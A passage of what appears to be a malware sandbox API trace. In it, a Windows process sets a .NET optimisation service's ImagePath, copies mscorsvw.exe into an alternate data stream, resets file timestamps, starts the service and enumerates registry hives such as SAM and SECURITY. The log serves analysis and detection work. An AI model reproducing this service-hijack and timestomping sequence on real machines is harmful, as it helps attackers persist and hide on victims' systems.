lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0234.924] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0234.924] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0234.924] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0234.924] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", lpDst=0x21f46a0, nSize=0x3c | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x3b [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0234.924] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x0 [0234.924] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.924] LocalFree (hMem=0x7f03d0) returned 0x0 [0234.925] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned 0x0 [0234.925] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x2) returned 0x8038a0 [0234.925] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0234.950] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0234.950] RegCloseKey (hKey=0x150) returned 0x0 [0234.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0234.951] RegCloseKey (hKey=0x154) returned 0x0 [0234.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0234.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0234.951] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x196b8)) returned 1 [0234.952] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0234.952] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0234.952] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x196b8 [0234.953] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0234.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x196c0) returned 0x21f4ea8 [0234.953] ReadFile (in: hFile=0x154, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x196b8, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x196b8, lpOverlapped=0x0) returned 1 [0234.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x196c0) returned 0x2159e98 [0234.960] SetEndOfFile (hFile=0x154) returned 1 [0234.960] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xef914800, dwHighDateTime=0x1d0aa91)) returned 1 [0234.960] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0234.961] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0234.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0234.961] NtClose (Handle=0x154) returned 0x0 [0234.964] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x24f53, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0234.964] GetLastError () returned 0x2 [0234.964] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0234.964] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0234.964] WriteFile (in: hFile=0x154, lpBuffer=0x2159e98*, nNumberOfBytesToWrite=0x196b8, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesWritten=0x36f53c*=0x196b8, lpOverlapped=0x0) returned 1 [0234.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0234.966] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0234.966] NtClose (Handle=0x154) returned 0x0 [0234.966] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x10) returned 0x803990 [0234.967] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0235.953] CloseServiceHandle (hSCObject=0x803990) returned 1 [0235.953] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0235.953] GetLastError () returned 0x6 [0235.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0235.953] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0235.954] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0235.954] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0235.954] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x8038a0 [0235.955] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0235.955] GetLastError () returned 0x425 [0235.955] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0235.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0235.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0235.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0235.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0235.955] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0235.955] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.957] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0235.957] RegCloseKey (hKey=0x80000002) returned 0x0 [0235.957] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0235.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.958] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.958] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.958] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0235.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.959] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.959] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.959] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0235.959] 